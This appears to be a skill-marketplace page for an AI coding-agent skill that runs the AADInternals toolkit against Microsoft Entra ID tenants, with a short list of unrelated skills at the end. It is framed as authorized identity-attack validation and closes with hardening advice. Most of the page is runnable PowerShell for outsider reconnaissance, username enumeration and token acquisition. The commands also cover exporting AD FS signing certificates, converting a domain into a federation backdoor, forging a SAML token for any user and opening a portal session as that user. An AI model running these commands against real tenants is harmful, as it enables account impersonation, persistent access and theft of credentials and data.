external/anthropic-cybersecurity-skills/skills/auditing-entra-id-with-aadinternals/SKILL.md
Run Microsoft Entra ID tenant reconnaissance, token acquisition and manipulation, and federation backdoor testing with the AADInternals PowerShell toolkit to validate identity-attack resilience.
npx skillsauth add seikaikyo/dash-skills auditing-entra-id-with-aadinternalsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.
AADInternals is the most comprehensive offensive/administrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios / Secureworks). It exposes hundreds of cmdlets (all prefixed AADInt) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS/PTA attacks, and the technique it is most famous for: federation backdoors that abuse the Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor path so an attacker who controls a federated domain's IssuerUri can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), the same class of technique used in the SolarWinds (Golden SAML) intrusions.
The toolkit separates capabilities by required position. Invoke-AADIntReconAsOutsider and Get-AADIntLoginInformation require no credentials — they query public endpoints (getuserrealm, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop/Seamless SSO is enabled. With a foothold, Get-AADIntAccessTokenFor* cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.
This skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation/AD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
# Cross-platform AsOutsider-only reimplementation (no creds) is also available:
# https://github.com/synacktiv/AADOutsider-py
| ID | Technique | Application in this skill |
|----|-----------|---------------------------|
| T1606.002 | Forge Web Credentials: SAML Tokens | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forge SAML tokens for arbitrary users via a controlled federation IssuerUri (Golden SAML) |
Related techniques: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (token acquisition), T1556.007 Modify Authentication Process: Hybrid Identity (federation/PTA backdoors).
No credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.
# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"
# Tenant GUID
Get-AADIntTenantID -Domain "target.com"
Validate whether usernames exist via the GetCredentialType / autologon endpoints.
# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
With valid credentials (or an interactive prompt), obtain tokens for the API you need. -SaveToCache lets later cmdlets reuse the token automatically.
# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
Using a cached/acquired token, read directory objects to map privilege.
# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails
# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
Determine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.
# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
Convert a domain to a backdoor by setting a known IssuerUri, then forge a SAML token for a target user using that domain's ImmutableId. Only in a controlled tenant with explicit authorization.
# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.
# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml
Capture exactly what recon revealed, which tokens/APIs were reachable, and whether the backdoor/Golden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new/changed federation trusts, monitor Set-DomainAuthentication/Set-MsolDomainFederationSettings, and migrate where feasible to managed (cloud) authentication.
| Resource | Purpose | Source | |----------|---------|--------| | AADInternals | Entra ID / AD FS attack & admin toolkit | https://github.com/Gerenios/AADInternals | | AADInternals docs | Cmdlet reference and technique writeups | https://aadinternals.com/aadinternals/ | | AADOutsider-py | Cross-platform AsOutsider reimplementation | https://github.com/synacktiv/AADOutsider-py | | Golden SAML background | Federation backdoor technique writeup | https://aadinternals.com/post/aadbackdoor/ | | MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https://attack.mitre.org/techniques/T1606/002/ |
| Cmdlet | Position | Purpose |
|--------|----------|---------|
| Invoke-AADIntReconAsOutsider | None | Verified domains, tenant ID, federation type, SSO |
| Get-AADIntLoginInformation | None | Realm/login details for a domain |
| Get-AADIntTenantID | None | Tenant GUID |
| Invoke-AADIntUserEnumerationAsOutsider | None | Validate user existence |
| Get-AADIntAccessTokenForAADGraph | Creds | Azure AD Graph token (-SaveToCache) |
| Get-AADIntAccessTokenForMSGraph | Creds | Microsoft Graph token |
| Get-AADIntAccessTokenForEXO | Creds | Exchange Online token |
| Get-AADIntUsers | Token | Enumerate directory users |
| ConvertTo-AADIntBackdoor | Global Admin | Convert a domain into a federation backdoor |
| New-AADIntSAMLToken | Backdoor | Forge a SAML token for a user (Golden SAML) |
| Open-AADIntOffice365Portal | SAML token | Open a portal session as the impersonated user |
development
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.